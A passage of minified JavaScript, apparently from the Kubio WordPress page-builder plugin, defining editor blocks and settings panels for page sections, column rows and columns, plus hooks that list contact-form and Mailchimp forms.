7","kubio"),wpForms:Object(We.__)("WPForms","kubio")},_l="kubio/block-library/contact-form",{useFormApi:Cl}=fl({storeKey:_l,shortcodeTagByType:{forminator:"forminator_form",wpForms:"wpforms",contactForm7:"contact-form-7"},labelsByType:vl,apiPath:"/kubio/v1/contact-form/forms_by_type"}),{useFormApi:Il}=fl({storeKey:"kubio/block-library/subscribe-form",shortcodeTagByType:{mailchimp:"mc4wp_form"},labelsByType:{mailchimp:"Mailchimp"},apiPath:"/kubio/v1/subscribe-form/forms_by_type"}),Tl=()=>{const{init:e}=Cl(),{init:t}=Il();return Object(xe.useEffect)((()=>{e(),t()}),[]),Object(xe.createElement)(xe.Fragment,null)};const Sl="meta.isHeader",wl=Object(Me.compose)([Object(He.withComputedData)((e=>{var t;const o=e.withChildren(),{insertBlock:n,removeBlock:a}=Object(Ve.useDispatch)("core/block-editor"),l=e.useStylePath("customHeight",{styledComponent:ta}),r=(e=>Ne.a.find(e,(e=>{if(e.getProp(Sl))return!0})))(o),i={value:!!r,onChange:t=>{if(t){const t=(()=>{const e=Object(He.createBlockWithDataHelper)(Yo.ROW,(e=>{e.setProp(Sl,!0),e.setProp("layout",{itemsPerRow:1,equalWidth:!1,equalHeight:!0})})),t=Object(He.createBlockWithDataHelper)(Yo.COLUMN,(e=>{e.setLocalStyle("columnWidth",{type:"custom",custom:{value:80,unit:"%"}},{styledComponent:"container"})})),o=Object(He.createBlockWithDataHelper)("kubio/heading",(e=>{e.setProp("level",2)})),n=Object(He.createBlockWithDataHelper)("kubio/text",(e=>{e.setAttribute("content",Object(We.__)("And the subtitle is better","kubio"))}));return t.innerBlocks=[o,n],e.innerBlocks=[t],e})();n(t,0,null==e?void 0:e.clientId,!1)}else a(r.clientId)}},c={value:Math.abs(e.getStyle("margin.top.value",{},{styledComponent:oa})),onChange:t=>{e.setStyle("margin.top.value",-t,{styledComponent:oa})},onReset:()=>{e.setStyle("margin.top.value",-150,{styledComponent:oa})}};return{isOverlapped:!(null==c||!c.value),showContentPosition:!!l.value&&(null==l||null===(t=l.value)||void 0===t?void 0:t.type)!==cn.HeightTypesEnum.FIT_TO_CONTENT,overlapProps:c,heightProps:l,sectionHeader:i}}))])((e=>{let{computed:t}=e;const{heightProps:o,sectionHeader:n,showContentPosition:a,overlapProps:l,isOverlapped:r}=t;return Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Layout structure","kubio"),className:"kubio-section-layout-panel"},Object(xe.createElement)(Re.SelectControlWithPath,{options:$n,label:Object(We.__)("Container width","kubio"),type:"prop",path:"width"}),Object(xe.createElement)(Re.CustomHeightControl,Object(ut.a)({label:Object(We.__)("Container height","kubio")},o)),a&&Object(xe.createElement)(Re.VerticalAlignControlWithPath,{label:Object(We.__)("Content position","kubio"),path:"verticalAlign",type:"prop"}),Object(xe.createElement)(Re.ToggleControl,Object(ut.a)({label:Object(We.__)("Enable section header","kubio")},n)),Object(xe.createElement)(Re.PopoverOptionsButton,{label:Object(We.__)("Overlap previous section","kubio"),toggable:!0,onToggleChange:e=>null==l?void 0:l.onChange(e?150:0),enabled:r,popoverWidth:300,popupContent:Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.RangeControl,Object(ut.a)({},l,{min:0,max:200,label:Object(We.__)("Overlap height","kubio")})),Object(xe.createElement)(Re.InputControlWithPath,{label:Object(We.__)("Depth (z-index)","kubio"),type:He.WithDataPathTypes.INNER,path:"z-index",min:0,numeric:!0,inline:!0,allowReset:!0,className:"column-depth-control"}))}))})),Pl=()=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(wl,null),Object(xe.createElement)(ol,null));var Al=Object(Me.compose)([])(Object(He.withPropsChecker)((function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Pl,null),Object(xe.createElement)(ll,null),Object(xe.createElement)(Ha,e))})));const Bl=Object(We.__)("Add a website section to your page. Add or remove columns, and stylize them til pixel-perfect.","kubio");Object(Ae.addFilter)("kubio.beforeInsertBlock",Yo.SECTION,(function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};if((null==e?void 0:e.name)===Yo.NAVIGATION||(null==e?void 0:e.name)===Yo.HERO){const o=Yo.NAVIGATION?Object(We.__)("Navigation","kubio"):Object(We.__)("Hero","kubio"),n=e.title?e.title:o,{anchor:a,name:l}=Object(un.getNextSectionNameAndId)(n,t);e.initialAttributes.anchor=a,e.initialAttributes.attrs={name:l}}return e}));const Nl=vn.CHANGE_BACKGROUND,xl={...vn.EDIT_LAYOUT,label:Object(We.__)("Change layout","kubio")},Rl=[[vn.CHANGE_IMAGE_VIDEO,Nl,xl],...ot];Object(Ae.addFilter)("kubio.rightClickMenu.menuItems",Yo.SECTION,((e,t)=>t===Yo.SECTION?Rl:e));const Dl={name:"kubio/section",title:"Section",category:"kubio-layout",attributes:{kubio:{type:"object"},attrs:{type:"object"}},supports:{anchor:!0,kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer",INNER:"inner"},elementsByName:{outer:{default:!0,wrapper:!0,props:{className:["d-flex","h-section-global-spacing"]},supports:{background:!0,separator:!0}},inner:{props:{className:["h-section-grid-container"]}}},template:{type:"element",props:{name:"outer"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]},default:{style:{customHeight:{type:"fit-to-content"}},props:{width:"boxed",verticalAlign:"center"}}}}},Ll=Object(nn.extendBlockMeta)(Dl,{title:Object(We.__)("Section","kubio"),icon:on.BlockIcons.Section,parent:["core/post-content","core/template-part",Yo.HEADER,Yo.FOOTER],keywords:[Object(We.__)("Section","kubio")],apiVersion:2,supports:{kubio:{elementsByName:na},reusable:!1,html:!1},edit:Al,save:function(e){return Object(xe.createElement)(De.InnerBlocks.Content,null)},variationsFilter:e=>null!=e&&e.isDefault?{...e,description:Bl,innerBlocks:[]}:e,kubioDuplicateMapper:e=>{const t=Object(un.refreshBlockStyleRefs)(e),o=Object(Be.get)(e,"attributes.attrs.name",null),n=Object(Be.get)(e,"attributes.anchor",null);return o&&Object(Be.set)(t,"attributes.attrs.name",// translators: %s - the name of a section
Object(We.sprintf)(Object(We.__)("%s Duplicate","kubio"),o)),n&&Object(Be.set)(t,"attributes.anchor",`${n}-duplicate`),t},innerBlocksDisableInBetweenInserter:!0}),Ml={CONTAINER:"container",INNER:"inner",CENTER:"center",OUTER_GAPS:"outerGaps",INNER_GAPS:"innerGaps",TYPOGRAPHY_HOLDERS:"typographyHolders"},Wl={[Ml.CONTAINER]:{label:Object(We.__)("Container","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.SEPARATORS,cn.StylesEnum.SPACING,cn.StylesEnum.BORDER,cn.StylesEnum.TYPOGRAPHY_FOR_CONTAINER_ADVANCED,cn.StylesEnum.TRANSFORM,cn.StylesEnum.TRANSITION],states:cn.StatesPresetsEnum.BASIC,filters:Re.BackgroundUiUtils.FiltersPreset.CONTAINER}}},Hl=e=>{let{afterBackgroundSection:t=null}=e;const o=Ne.a.get(Wl,Ml.CONTAINER);return Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(Re.BackgroundSection,{styledElement:o}),t)},Gl="inner",Ul="container",Fl="v-space",zl="align",Vl={[Gl]:{label:Object(We.__)("Inner","kubio"),supports:{styles:[cn.StylesEnum.TRANSITION].concat(cn.StylesPresetsEnum.CONTAINERS),states:cn.StatesPresetsEnum.BASIC,filters:{...Re.BackgroundUiUtils.FiltersPreset.CONTAINER,transition:{manuallyEnabled:!0}}}},[Ul]:{label:Object(We.__)("Container","kubio"),internal:!0,supports:{styles:[cn.StylesEnum.SPACING],states:cn.StatesPresetsEnum.BASIC}},[zl]:{label:Object(We.__)("Align","kubio"),internal:!0,supports:{styles:cn.StylesPresetsEnum.ALL,states:cn.StatesPresetsEnum.BASIC}},[Fl]:{internal:!0}},Yl=Object(Me.compose)([Object(He.withComputedData)((e=>{const t=Object(He.useGroupDispatch)();return{equalWidth:{value:e.getProp("layout.equalWidth"),onChange:o=>{const n=Hn(e.getPropByMedia("layout"),o);t((async()=>{e.withChildren().forEach((e=>{Object.keys(n).forEach((t=>{const o=n[t];Object(He.silentDispatch)((()=>{e.setLocalStyle("columnWidth",o,{styledComponent:Ul,media:t,skipSharedStyle:!0})}),!0)}))})),e.setProp("layout.equalWidth",o)}),!0)}}}}))])((e=>{let{computed:t,onlyEqualWidth:o=!1,supportsEqualHeightColumns:n=!0,afterLayoutAndSpacing:a}=e;return Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Layout","kubio")},!o&&Object(xe.createElement)(Re.ToggleControl,Object(ut.a)({label:Object(We.__)("Equal width columns","kubio")},null==t?void 0:t.equalWidth)),((null==t?void 0:t.equalWidth.value)||o)&&Object(xe.createElement)(Re.ToggleGroupWithPath,{options:Re.UIUtils.itemsPerRowOptions,label:Object(We.__)("Columns per row","kubio"),type:"prop",path:"layout.itemsPerRow",media:"current"}),n&&Object(xe.createElement)(Re.ToggleControlWithPath,{label:Object(We.__)("Equal height columns","kubio"),type:"prop",media:"current",path:"layout.equalHeight"}),a)})),$l=Object(He.withComputedData)((e=>({equalHeight:e.getPropInMedia("layout.equalHeight")})))((e=>{let{computed:t,supportsHorizontalPosition:o=!0}=e;const{equalHeight:n}=t;return Object(xe.createElement)(Le.PanelBody,{initialOpen:!1,title:Object(We.__)("Spacing and alignment","kubio")},Object(xe.createElement)(Re.SpacingWithPath,{path:"layout.horizontalGap",type:"prop",media:"current",label:Object(We.__)("Horizontal Spacing","kubio")}),Object(xe.createElement)(Re.SpacingWithPath,{path:"layout.verticalGap",type:"prop",media:"current",label:Object(We.__)("Vertical Spacing","kubio")}),Object(xe.createElement)(Re.SpacingWithPath,{path:"layout.horizontalInnerGap",type:"prop",media:"current",label:Object(We.__)("Horizontal Inner Spacing","kubio")}),Object(xe.createElement)(Re.SpacingWithPath,{path:"layout.verticalInnerGap",type:"prop",media:"current",label:Object(We.__)("Vertical Inner Spacing","kubio")}),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),!n&&Object(xe.createElement)(Re.VerticalAlignControlWithPath,{path:"layout.verticalAlign",type:"prop",media:"current",label:Object(We.__)("Columns vertical position","kubio")}),o&&Object(xe.createElement)(Re.HorizontalAlignControlWithPath,{path:"layout.horizontalAlign",type:"prop",media:"current",label:Object(We.__)("Columns horizontal position","kubio")}))})),Kl=e=>{let{onlyEqualWidth:t,beforeComponent:o,afterComponent:n,afterLayoutAndSpacing:a,supportsEqualHeightColumns:l=!0,supportsHorizontalPosition:r=!0}=e;return Object(xe.createElement)(ze.ContentInspectorControls,null,o,Object(xe.createElement)(Yl,{supportsEqualHeightColumns:l,onlyEqualWidth:t,afterLayoutAndSpacing:a}),Object(xe.createElement)($l,{supportsHorizontalPosition:r}),n)},ql=e=>{let{dataHelper:t}=e;const{canInsertBlockType:o}=Object(Ve.useSelect)((e=>e("core/block-editor")),[]),{clientId:n}=t,{clientId:a}=t.withParent(),{insertBlock:l}=Object(Ve.useDispatch)("core/block-editor"),{rowIndex:r}=Object(Ve.useSelect)((e=>{var t;return{rowIndex:null===(t=e("core/block-editor").getBlockOrder(a))||void 0===t?void 0:t.indexOf(n)}})),i=function(){let{after:e=!1}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const t=Object(Ge.createBlocksFromInnerBlocksTemplate)([Un()])[0],o=e?r+1:r;l(t,Math.max(o,0),a)};return o(Yo.ROW,a)?Object(xe.createElement)(De.BlockSettingsMenuControls,null,Object(xe.createElement)(Le.MenuGroup,{className:"kubio-block-settings-control"},Object(xe.createElement)(Le.MenuItem,{onClick:()=>i()},Object(We.__)("Add row of columns before","kubio")),Object(xe.createElement)(Le.MenuItem,{onClick:()=>i({after:!0})},Object(We.__)("Add row of columns after","kubio")))):Object(xe.createElement)(xe.Fragment,null)};var Xl=o(329),Ql=o(330),Zl=o(421),Jl=o(331);const er=e=>{var t;let{dataHelper:o}=e;const n=null===(t=o)||void 0===t?void 0:t.clientId,a=o.wrapperStyledComponent,l=Object(He.useActiveMedia)(),{ancestor:r}=Object(He.useAncestorContext)(),i=o.withSiblings(),c={styledComponent:a,media:l,ancestor:r,fromRoot:!0},s=y(),u=Object(He.useDeepMemo)((()=>Ne.a.orderBy(s,(e=>e.order))),[s]),p=Object(xe.useRef)(),{orientation:b,currentIndex:m}=Object(Ve.useSelect)((e=>{const{getBlockListSettings:t,getBlockIndex:o,getBlockRootClientId:a}=e("core/block-editor"),l=a(n),r=o(n,l),{orientation:i}=t(l)||{};return{currentIndex:r,orientation:i}}),[n]);let d=o.getLocalStyle("order",m+1,c),h=Ne.a.findIndex(u,(e=>e.order===d));const O=0===h,g=h===i.length-1;function y(){return i.map(((e,t)=>({order:e.getLocalStyle("order",t+1,c),index:t,clientId:e.clientId})))}const j=e=>{(function(){let e=!1;const t=function(){const e=Ne.a.keyBy(i,"clientId");return u.map((t=>Ne.a.get(e,t.clientId)))}();if(Ne.a.forEachRight(t,((t,o)=>{const n=t.getLocalStyle("order",null,c),a=n===o+1;null!==n&&a||t.setLocalStyle("order",o+1,c),a||(e=!0)})),e){const e=y(),t=Ne.a.orderBy(e,(e=>e.order));o=i.find((e=>{var t;return e.clientId===(null===(t=o)||void 0===t?void 0:t.clientId)})),d=o.getLocalStyle("order",m+1,c),h=Ne.a.findIndex(t,(e=>e.order===d))}})(),function(e){const t=o,n="left"===e?d-1:d+1,a=i.find((e=>e.getLocalStyle("order",null,c)===n)),l=d,r=a.getLocalStyle("order",null,c);isNaN(l)||isNaN(r)||(t.setLocalStyle("order",r,c),a.setLocalStyle("order",l,c))}(e)},k="kubio-reorder-controls-toolbar",E=["desktop","tablet","mobile"].map((e=>`kubio-on--${e}`));Object(xe.useEffect)((()=>{setTimeout((()=>{const e=p.current;if(!e)return;const t=e.closest(".block-editor-block-contextual-toolbar");t&&(t.classList.contains(k)||t.classList.add(k),E.forEach((e=>{t.classList.contains(e)&&t.classList.remove(e),t.classList.add(`kubio-on--${l}`)})))}),0)}),[l]);const f=`is-${b}`,v=tr("left",b),_=tr("right",b),C=O,I=g,T="desktop"===l;return Object(xe.createElement)(De.BlockControls,null,Object(xe.createElement)("div",{ref:p,className:$e()("kubio-toolbar-reorder-controls","is-visible",`is-${b}`,"block-editor-block-mover",f,{"d-none":T})},Object(xe.createElement)(Le.ToolbarGroup,{className:"block-editor-block-mover__move-button-container"},Object(xe.createElement)(Le.ToolbarButton,{className:$e()("block-editor-block-mover-button","is-up-button"),icon:v,onClick:()=>{j("left")},"aria-disabled":C}),Object(xe.createElement)(Le.ToolbarButton,{className:$e()("block-editor-block-mover-button","is-down-button"),icon:_,onClick:()=>{j("right")},"aria-disabled":I}))))};function tr(e,t){return"left"===e?"horizontal"===t?Object(We.isRTL)()?Xl.a:Ql.a:Zl.a:"right"===e?"horizontal"===t?Object(We.isRTL)()?Ql.a:Xl.a:Jl.a:null}const or=[Yo.COLUMN],nr=Object(Me.compose)(Object(He.withRemoveOnEmptyInnerBlocks)(),Object(He.withColibriDataAutoSave)(((e,t)=>({layoutByMedia:e.getPropByMedia("layout"),containerClass:t.containerClass}))),Object(He.withStyledElements)((e=>{const{computed:t={}}=e,{layoutByMedia:o}=t,n=new cn.LayoutHelper(o);return{[Ml.CONTAINER]:{className:()=>[t.containerClass,...n.getRowGapClasses()].filter(Boolean)},[Ml.INNER]:{className:()=>{let e=[];return e=e.concat(n.getRowAlignClasses(),n.getRowGapInnerClasses()),e}}}})),Object(He.withContainerBase)())((e=>{const{StyledElements:t,Separators:o,Background:n,allowedBlocks:a=or,innerBlocks:l,onInnerBlocksChange:r,onInnerBlocksInput:i,templateLock:c=!1,dataHelper:s,isSelected:u,customContainerProps:p={},customInnerStyledElement:b=null}=e,m=Object(He.normalizeTemplateLock)(e.dataHelper.getAttribute("templateLock",c)),d=$o({},{allowedBlocks:a,orientation:"horizontal",value:l,templateLock:m,renderAppender:!1,onChange:r,oninput:i});return Object(xe.createElement)(xe.Fragment,null,u&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(er,{dataHelper:s}),Object(xe.createElement)(Ba,e),Object(xe.createElement)(ql,{dataHelper:s})),Object(xe.createElement)(t.Container,p,Object(xe.createElement)(n,null),Object(xe.createElement)(o,null),!b&&Object(xe.createElement)(t.Inner,d),b&&Object(Be.isFunction)(b)?b(t,d):b))}));var ar=function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Kl,null),Object(xe.createElement)(Hl,null),Object(xe.createElement)(nr,e))};function lr(){return Object(xe.createElement)(De.InnerBlocks.Content,null)}const rr=Yo.COLUMN,ir=function(){let{dataHelper:e,hooks:t,after:o=!1}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const{getBlockIndex:n,insertBlock:a,getBlockRootClientId:l}=t,r=null==e?void 0:e.clientId,i=l(r),c=n(r,i),s=o?c+1:c;a(Object(Ge.createBlocksFromInnerBlocksTemplate)([Un()])[0],Math.max(s,0),i)},cr={label:Object(We.__)("Add column","kubio"),enabled:e=>!(null!=e&&e.getProp("layout.equalWidth")),action:e=>{let{dataHelper:t,event:o,hooks:n,ownerDocument:a}=e;Xe(o),function(){let{dataHelper:e,hooks:t,after:o=!1,ownerDocument:n}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const{getBlockIndex:a,insertBlock:l,getBlockRootClientId:r}=t,i=null==e?void 0:e.clientId,c=e.getProp("layout.equalWidth"),s=r(i),u=a(i,s);if(c){const e=o?u+1:u;l((e=>{const t=Object(Ge.createBlock)(e,{});return t.innerBlocks=[],t})(rr),Math.max(e,0),s)}else{const t={createBlock:Ge.createBlock,insertBlock:l,ownerDocument:n};Ia(e,t)}}({dataHelper:t,hooks:n,after:!1,ownerDocument:a})}},sr={label:Object(We.__)("Add item","kubio"),enabled:e=>null==e?void 0:e.getProp("layout.equalWidth"),action:e=>{let{dataHelper:t,event:o}=e;Xe(o),function(){let{dataHelper:e}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};if(e.getProp("layout.equalWidth")){const t=e.withChildren();Ne.a.last(t).duplicate({unlink:!1})}}({dataHelper:t})}},ur={label:Object(We.__)("Add row before","kubio"),action:e=>{let{dataHelper:t,event:o,hooks:n}=e;Xe(o),ir({dataHelper:t,hooks:n,after:!1})}},pr={label:Object(We.__)("Add row after","kubio"),action:e=>{let{dataHelper:t,event:o,hooks:n}=e;Xe(o),ir({dataHelper:t,hooks:n,after:!0})}},br=[[nt.CHANGE_IMAGE_VIDEO,nt.CHANGE_BACKGROUND],[cr,sr],[ur,pr],...ot];Object(Ae.addFilter)("kubio.rightClickMenu.menuItems",Yo.ROW,((e,t)=>t===Yo.ROW?br:e));const mr={name:"kubio/row",title:"Columns",category:"kubio-basic",attributes:{kubio:{type:"object"},templateLock:{type:"string"}},supports:{anchor:!0,kubio:{appearanceEffect:!0,props:{fullBackground:{type:"boolean"},layout:{type:"object"}},elementsEnum:{CONTAINER:"container",INNER:"inner",CENTER:"center",OUTER_GAPS:"outerGaps",INNER_GAPS:"innerGaps",TYPOGRAPHY_HOLDERS:"typographyHolders"},elementsByName:{container:{wrapper:!0,default:!0,supports:{separator:!0,background:!0}},center:{},inner:{props:{className:["h-row"]}},outerGaps:{selector:"> * > .h-row > [class*='h-col-'] > [class*='h-px-']"},innerGaps:{selector:" > * > .h-row > [class*='h-col-']"}},template:{type:"element",props:{name:"container"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]},default:{props:{fullBackground:!1,layout:{equalWidth:!1,equalHeight:!0,itemsPerRow:2,verticalAlign:"center",horizontalAlign:"center",horizontalGap:2,verticalGap:2,horizontalInnerGap:2,verticalInnerGap:2},media:{mobile:{layout:{itemsPerRow:1,horizontalGap:0}}}}}}}},dr=Object(nn.extendBlockMeta)(mr,{title:Object(We.__)("Columns","kubio"),icon:on.BlockIcons.Columns,keywords:[Object(We.__)("columns","kubio"),Object(We.__)("row","kubio"),Object(We.__)("column","kubio")],providesContext:{"kubio/parentKubio":"kubio"},apiVersion:2,variations:zn,supports:{kubio:{elementsByName:Wl,isGutentagQuickInsertDefault:!0},reusable:!1,html:!1},edit:ar,save:lr,innerBlocksDisableInBetweenInserter:!0});var hr=o(10),Or=o.n(hr);const gr=e=>{let{dataHelper:t}=e;const{canInsertBlockType:o}=Object(Ve.useSelect)((e=>e("core/block-editor")),[]),{clientId:n}=t.withParent(),{ownerDocument:a}=Object(He.useOwnerDocumentContext)(),{insertBlock:l}=Object(Ve.useDispatch)("core/block-editor"),r=Object(hr.useCallback)((function(){let{after:e=!1}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const o={after:e},n={createBlock:Ge.createBlock,insertBlock:l,ownerDocument:a};Ca(t,n,o)}),[t]);return o(Yo.COLUMN,n)?Object(xe.createElement)(De.BlockSettingsMenuControls,null,Object(xe.createElement)(Le.MenuGroup,{className:"kubio-block-settings-control"},Object(xe.createElement)(Le.MenuItem,{onClick:()=>r()},Object(We.__)("Add column before","kubio")),Object(xe.createElement)(Le.MenuItem,{onClick:()=>r({after:!0})},Object(We.__)("Add column after","kubio")))):Object(xe.createElement)(xe.Fragment,null)},yr={local:!0,styledComponent:Ul},jr=(e,t,o)=>{const n=e.getStyle("columnWidth",{},yr);if("px"===Object(Be.get)(n,"custom.unit","%"))e.setStyle("columnWidth",{type:"custom",custom:{value:parseFloat(t),unit:"px"}},yr);else{const n=o.closest('[data-kubio="kubio/row"]').getBoundingClientRect().width,a=parseFloat(t)/n*100;e.setStyle("columnWidth",{type:"custom",custom:{value:parseFloat((Math.floor(100*a)/100).toFixed(2)),unit:"%"}},yr)}},kr=[{label:Object(We.__)("A quarter","kubio"),value:25},{label:Object(We.__)("A third","kubio"),value:33.3333},{label:Object(We.__)("Half","kubio"),value:50},{label:Object(We.__)("Two thirds","kubio"),value:66.6666},{label:Object(We.__)("Three quarters","kubio"),value:75}],Er=Object(Me.compose)(Object(He.refreshOnParentChange)(),Object(Ve.withSelect)(((e,t)=>{const{clientId:o}=t,{getBlockOrder:n}=e("core/block-editor");return{isEmpty:0===n(o).length}})),Object(He.withColibriDataAutoSave)(((e,t)=>{const{isEmpty:o}=t,{defaultOptions:n}=Object(He.useDataHelperDefaultOptionsContext)(),a=!(null!=n&&n.inheritedAncestor),l=e.withParent().getPropByMedia("layout"),r=e.getPropByMedia("layout"),i=e.getStyleByMedia("columnWidth",{},{styledComponent:Ul,local:!0}),c=e.getStyleByMedia("customHeight",null,{styledComponent:Ul,fromRoot:!0}),s="custom"===e.getStyle("columnWidth.type");return{rowLayoutByMedia:l,layoutByMedia:r,columnWidthByMedia:i,columnWidthType:e.getStyle("columnWidth.type"),isCustomWidth:s,isEmpty:o,canUseHtml:a,containerClass:t.containerClass,customHeightOnContainerPerMedia:c}})),Object(He.withDynamicStyles)((e=>{const t=e.getPropByMedia("layout.vSpace",{});return{[Fl]:cn.dynamicStylesTransforms.vSpace(t)}})),Object(He.withStyledElements)((function(){let{computed:e={}}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const{isEmpty:t,layoutByMedia:o,rowLayoutByMedia:n,columnWidthByMedia:a,canUseHtml:l,containerClass:r}=e,i=new cn.LayoutHelper(o,n);return{[Ul]:{className:()=>{let e=[];return e=e.concat(i.getColumnLayoutClasses(a,l),i.getInheritedColumnVAlignClasses(),[r]),e.filter(Boolean)}},[Gl]:{className:()=>{let e=[];return t&&e.push("h-ui-empty-state-container"),e=e.concat(i.getColumnInnerGapsClasses()),e}},[zl]:{className:()=>{var e;let o=[];const l=null==a?void 0:a.desktop,r=null==n||null===(e=n.desktop)||void 0===e?void 0:e.equalWidth;return o=o.concat(i.getColumnContentFlexBasis(r,l)),t?o.push("min-height-100"):o=o.concat(i.getSelfVAlignClasses()),o}}}})),Object(He.withContainerBase)()),fr=Er((e=>{var t;const{StyledElements:o,Separators:n,Background:a,dataHelper:l,isSelected:r,computed:i,afterInnerBlocks:c=null}=e,s=Object(xe.useMemo)(Object(He.normalizeTemplateLock)((()=>l.getAttribute("templateLock",!1))),[l]),u=$o({},{templateLock:s});!function(e,t){const{customHeightOnContainerPerMedia:o}=t;Object(xe.useLayoutEffect)((()=>{Ne.a.each(o,((t,o)=>{t&&(e.setStyle("customHeight",null,{styledComponent:Ul,unset:!0,media:o}),e.setStyle("customHeight",t,{styledComponent:Gl,media:o}))}))}),[])}(l,i);const{rowLayoutByMedia:p}=i,b=null==p||null===(t=p.desktop)||void 0===t?void 0:t.equalWidth,{containerRef:m,onChange:d,referance:h,unit:O}=(e=>{const t=Object(xe.useRef)(),o=Object(xe.useRef)(),n=Object(He.useUndoTrapDispatch)(),a=e.getStyle("columnWidth",{},yr),l=Object(Be.get)(a,"custom.unit","%"),r=Object(xe.useMemo)((()=>e.getStyle("columnWidth",{},yr)),[e]);t.current=e;const i=Object(xe.useCallback)((e=>{let{current:a,sibling:l}=e;const r=t.current,i=o.current;let c=null;if(l){var s;const e=null===(s=l.element)||void 0===s?void 0:s.closest("[data-block]"),t=null==e?void 0:e.getAttribute("data-block");t&&(c=r.withClientId(t))}n((()=>{jr(r,a,i),c&&jr(c,l.current,i)}))}),[]);return{containerRef:o,referance:r,onChange:i,unit:l}})(l);return Object(xe.createElement)(xe.Fragment,null,r&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(er,{dataHelper:l}),Object(xe.createElement)(Ba,{dataHelper:l.withParent()}),Object(xe.createElement)(gr,{dataHelper:l})),Object(xe.createElement)(o.Container,{ref:m},Object(xe.createElement)(o.Inner,null,Object(xe.createElement)(a,null),Object(xe.createElement)(n,null),Object(xe.createElement)(o.Align,u),c),Object(xe.createElement)(Re.CanvasResizeControl,{containerRef:m,enabled:!b,onChange:d,maxToContainer:!0,clientId:l.clientId,referance:h,affectNext:!0,forceVisible:r,snapPoints:kr,tooltipUnit:O})))})),vr=cn.columnWidth.ColumnWidthTypes,_r=[vr.FLEX_GROW,vr.FIT_TO_CONTENT],Cr=Object(Me.compose)([Object(He.withComputedData)((e=>{const t=e.withParent(),o=e.clientId,n=Object(He.useDataHelperPathForStyle)(e,"columnWidth",{local:!0,styledComponent:Ul}),a=Object(xe.useMemo)((()=>({equalWidth:t.getProp("layout.equalWidth"),onEqualWidthChange:(e,n)=>{const a=Hn(t.getPropByMedia("layout"),e);t.group((()=>{t.withChildren().forEach((t=>{Object.keys(a).forEach((l=>{let r=a[l];t.clientId===o&&!e&&_r.includes(n)&&(r={type:n}),t.setLocalStyle("columnWidth",r,{styledComponent:Ul,media:l})}))})),t.setProp("layout.equalWidth",e)}))}})),[t]),l=Object(He.useDataHelperPathForStyle)(e,"customHeight",{styledComponent:Gl},{});return{row:Object(xe.useMemo)((()=>t.usePropPath("layout.itemsPerRow",{media:"current"})),[t]),heightProps:l,widthProps:{...n,...a}}}))])((e=>{var t;let{computed:o,onlyEqualWidth:n=!1}=e;return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Layout","kubio")},!n&&Object(xe.createElement)(Re.CustomWidthControl,Object(ut.a)({},null==o?void 0:o.widthProps,{label:Object(We.__)("Column width","kubio")})),((null==o||null===(t=o.widthProps)||void 0===t?void 0:t.equalWidth)||n)&&Object(xe.createElement)(Re.ToggleGroup,Object(ut.a)({options:Re.UIUtils.itemsPerRowOptions,label:Object(We.__)("Columns per row","kubio")},null==o?void 0:o.row)),Object(xe.createElement)(Re.CustomHeightControl,Object(ut.a)({label:Object(We.__)("Column height","kubio")},null==o?void 0:o.heightProps)),Object(xe.createElement)(Re.VerticalAlignControlWithPath,{path:"layout.verticalAlign",type:"prop",media:"current",label:Object(We.__)("Content vertical position","kubio")}),Object(xe.createElement)(Re.HorizontalTextAlignControlWithPath,{path:"textAlign",type:"style",style:Gl,label:Object(We.__)("Horizontal align","kubio")}))})),{isNotEmptyButCanBeZero:Ir}=cn.Utils,Tr=[{axis:"x",value:{value:0,unit:"px"}},{axis:"y",value:{value:0,unit:"px"}},{axis:"z"}],Sr=e=>{let{computed:t,dataHelper:o}=e;const{isColumnOverlaped:n,translateX:a,translateY:l}=t,[r,i]=Object(xe.useState)(n),c=Object(xe.useCallback)((e=>{o.setStyle("transform.translate",e?Tr:void 0,{unset:!e}),i(e)}),[o]),s=Object(xe.useCallback)((()=>{i(n)}),[n]),u={type:He.WithDataPathTypes.STYLE,units:["px"],min:-100,capMin:!1,capMax:!1,max:100};return Object(xe.createElement)(Re.PopoverOptionsButton,{label:Object(We.__)("Overlap other columns","kubio"),toggable:!0,onToggleChange:c,enabled:r,popoverWidth:300,onPopoverClose:s,popupContent:Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)("div",{className:"h-dummy-focus-control"},Object(xe.createElement)(Le.BaseControl,null,Object(xe.createElement)(Re.ToggleControl,null),Object(xe.createElement)(Le.BaseControl,null))),Object(xe.createElement)(Re.RangeWithUnitControl,Object(ut.a)({},u,{label:Object(We.__)("Vertical overlap","kubio")},l)),Object(xe.createElement)(Re.RangeWithUnitControl,Object(ut.a)({},u,{label:Object(We.__)("Horizontal overlap","kubio")},a)),Object(xe.createElement)(Re.InputControlWithPath,{label:Object(We.__)("Depth (z-index)","kubio"),type:He.WithDataPathTypes.STYLE,path:"z-index",min:0,numeric:!0,inline:!0,allowReset:!0,className:"column-depth-control"}))})},wr=Object(Me.compose)(Object(He.withComputedData)((e=>{var 